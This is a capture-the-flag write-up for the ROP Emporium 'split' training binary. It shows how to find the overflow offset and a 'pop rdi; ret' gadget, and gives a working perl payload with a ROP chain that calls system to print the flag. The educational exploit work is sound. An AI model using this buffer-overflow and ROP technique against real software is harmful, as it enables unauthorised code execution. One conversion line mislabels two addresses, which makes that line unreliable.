ROP Emporium CTF 2/7 split
This challenge uses a similar pwnme function as the previous ret2win
challenge with the same offsets but a larger overflow (0x60 bytes).
$ perl -e 'print(("\x00" x 0x28) . "fedcba")' |
gdb ./split --batch -ex run
split by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
Scanning through the symbols we see two interesting things.
$ r2 ./split -qc "is"
[Symbols]
Num Paddr Vaddr Bind Type Size Name
...
039 0x00000807 0x00400807 LOCAL FUNC 17 usefulFunction
...
066 0x00001060 0x00601060 GLOBAL OBJ 26 usefulString
$ r2 split -qc "aa ; pdf @ sym.usefulFunction"
/ (fcn) sym.usefulFunction 17
| sym.usefulFunction ();
| 0x00400807 push rbp
| 0x00400808 mov rbp, rsp
| 0x0040080b mov edi, str.bin_ls ; "/bin/ls"
| 0x00400810 call sym.imp.system
| 0x00400815 nop
| 0x00400816 pop rbp
\ 0x00400817 ret
$ r2 split -qc "aa ; ps @ obj.usefulString"
/bin/cat flag.txt
It would seem that combining these two things, calling system with
"/bin/cat flag.txt", is the purpose of this challenge.
The way arguments are passed to functions on AMD64 Linux (called the sysv ABI),
is via the following registers RDI, RSI, RDX, RCX, R8, R9, and then remaining arguments are passed on the stack. In our case we want obj.usefulString
(0x00601060) to be in the RDI register before we jump to call system()
(0x00400810).
Radare2 has a command for searching gadgets which is /R.
By wrapping the whole command in double quotes we can search for multiple
opcodes in the same gadget chain, in this case pop rdi followed by ret.
(The single quotes on the outside are for the sake of Bash).
$ r2 ./split -qc ' "/R pop rdi;ret" '
0x00400883 5f pop rdi
0x00400884 c3 ret
We now have all the ingredients for our ROP chain:
pop rdi(0x00400883)obj.usefulString(0x00601060)call sym.imp.system(0x00400810)
After the overflow we want our stack to look like this:
+--------------------+--------------------+
| rsp + 0x38 | 0x0000000000400810 | <-- 3.
| rsp + 0x30 | 0x0000000000601060 | <-- 2.
| rsp + 0x28 | 0x0000000000400883 | <-- 1.
| rsp + 0x20 | 0x0000000000000000 | <-- stored rbp
| rsp + 0x18 | 0x0000000000000000 | <-- end of buffer
| rsp + 0x10 | 0x0000000000000000 |
| rsp + 0x08 | 0x0000000000000000 |
| rsp + 0x00 | 0x0000000000000000 | <-- start of buffer
+--------------------+--------------------+
So after reting from pwnme(), the application will jump to 0x00400883 and
execute pop rdi, the value poped from the stack will be 0x00601060
(usefulString), and the next ret will jump to 0x00400810 and execute call
sym.imp.system.
AMD64 is a little endian platform so we need to swap the bytes round for each memory address in our ROP chain:
0x0000000000400810=>"\x83\x08\x40\x00\x00\x00\x00\x00"0x0000000000601060=>"\x60\x10\x60\x00\x00\x00\x00\x00"0x0000000000400883=>"\x10\x08\x40\x00\x00\x00\x00\x00"
Converting addresses manually gets tedious so here is a bash one liner
$ echo $(echo -n "$1" |
sed -re 's/([0-9a-f]{2})/\\x\1/g' |
tac -b -rs '\(\\x\|\s\)' -)
Here is the example in action, successfully printing the flag:
$ perl -e 'print(("\x00" x 0x28) .
"\x83\x08\x40\x00\x00\x00\x00\x00" .
"\x60\x10\x60\x00\x00\x00\x00\x00" .
"\x10\x08\x40\x00\x00\x00\x00\x00")' |
./split
split by ROP Emporium
...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault